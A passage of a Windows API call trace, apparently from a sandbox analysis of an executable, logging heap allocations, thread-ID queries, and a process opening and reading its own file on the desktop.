dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] GetLastError () returned 0x0 [0073.437] GetLastError () returned 0x0 [0073.437] GetLastError () returned 0x0 [0073.437] GetLastError () returned 0x0 [0073.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20048 [0073.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b0e0 [0073.437] GetLastError () returned 0x0 [0073.437] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.437] GetFileType (hFile=0x1e8) returned 0x1 [0073.437] GetLastError () returned 0x0 [0073.437] GetCurrentThreadId () returned 0x9b0 [0073.437] GetLastError () returned 0x0 [0073.437] GetFileType (hFile=0x1e8) returned 0x1 [0073.437] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0073.437] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.437] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.437] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.437] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.437] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.437] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.438] GetLastError () returned 0x0 [0073.438] GetCurrentThreadId () returned 0x9b0 [0073.438] GetLastError () returned 0x0 [0073.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20048 | out: hHeap=0x2ad0000) returned 1 [0073.438] GetLastError () returned 0x0 [0073.438] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7877742, lpDistanceToMoveHigh=0x9b9348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9348*=0) returned 0x78346e [0073.438] GetLastError () returned 0x0 [0073.438] GetCurrentThreadId () returned 0x9b0 [0073.438] GetLastError () returned 0x0 [0073.438] GetCurrentThreadId () returned 0x9b0 [0073.438] GetLastError () returned 0x0 [0073.438] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7835919, lpDistanceToMoveHigh=0x9b96e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e0*=0) returned 0x77910f [0073.438] GetLastError () returned 0x0 [0073.438] GetCurrentThreadId () returned 0x9b0 [0073.438] GetLastError () returned 0x0 [0073.438] GetCurrentThreadId () returned 0x9b0 [0073.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1727) returned 0x2bb43b8 [0073.438] GetLastError () returned 0x0 [0073.438] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb43cc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b96a8, lpOverlapped=0x0 | out: lpBuffer=0x2bb43cc*, lpNumberOfBytesRead=0x9b96a8*=0x1000, lpOverlapped=0x0) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2bb5ae8 [0073.441] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb5ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9694, lpOverlapped=0x0 | out: lpBuffer=0x2bb5ae8*, lpNumberOfBytesRead=0x9b9694*=0x1000, lpOverlapped=0x0) returned 1 [0073.441] GetLastError () returned 0x0 [0073.441] GetCurrentThreadId () returned 0x9b0 [0073.441] GetLastError () returned 0x0 [0073.441] GetCurrentThreadId () returned 0x9b0 [0073.441] GetLastError () returned 0x0 [0073.441] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b836c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b836c*=0) returned 0x77b10f [0073.441] GetLastError () returned 0x0 [0073.442] GetCurrentThreadId () returned 0x9b0 [0073.442] GetLastError () returned 0x0 [0073.442] GetLastError () returned 0x0 [0073.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb5ae8 | out: hHeap=0x2ad0000) returned 1 [0073.442] CloseHandle (hObject=0x1e8) returned 1 [0073.442] GetLastError () returned 0x0 [0073.442] GetCurrentThreadId () returned 0x9b0 [0073.442] GetLastError () returned 0x0 [0073.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bb5ae8 [0073.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb76c0 [0073.442] GetLastError () returned 0x0 [0073.442] GetCurrentThreadId () returned 0x9b0 [0073.442] GetLastError () returned 0x0 [0073.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb5ae8 | out: hHeap=0x2ad0000) returned 1 [0073.442] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb76c0, Size=0x3777) returned 0x2bb76c0 [0073.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb43b8 | out: hHeap=0x2ad0000) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x504) returned 0x2bb43b8 [0073.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1283) returned 0x2bb48c8 [0073.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.442] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1fb78 [0073.442] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18e60 [0073.442] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19578 [0073.442] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0f00 [0073.443] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x2ac1438 [0073.443] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1438, Size=0xe8) returned 0x2ac2d40 [0073.444] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2d40, Size=0x120) returned 0x2ba4f30 [0073.444] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba4f30, Size=0x160) returned 0x2ba6370 [0073.444] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6370, Size=0x1a8) returned 0x2ac9468 [0073.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac9468 | out: hHeap=0x2ad0000) returned 1 [0073.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb76c0 | out: hHeap=0x2ad0000) returned 1 [0073.444] GetCurrentThreadId () returned 0x9b0 [0073.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba8d8 [0073.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f998 [0073.444] GetCurrentThreadId () returned 0x9b0 [0073.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.444] GetCurrentThreadId () returned 0x9b0 [0073.444] GetCurrentThreadId () returned 0x9b0 [0073.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.444] GetCurrentThreadId () returned 0x9b0 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4fc) returned 0x2bb5b58 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.445] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71660 [0073.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a716e0 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a869d8, Size=0x1f8) returned 0x2acb7f8 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2abaa60 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a717a0 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.447] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71620 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.447] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a717a0 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.447] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71880 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.448] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71620 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.448] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71660 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.448] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71880 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba2b8 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.449] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71620 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.449] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a718c0 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.450] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a717a0 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab94f0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.450] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71840 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: 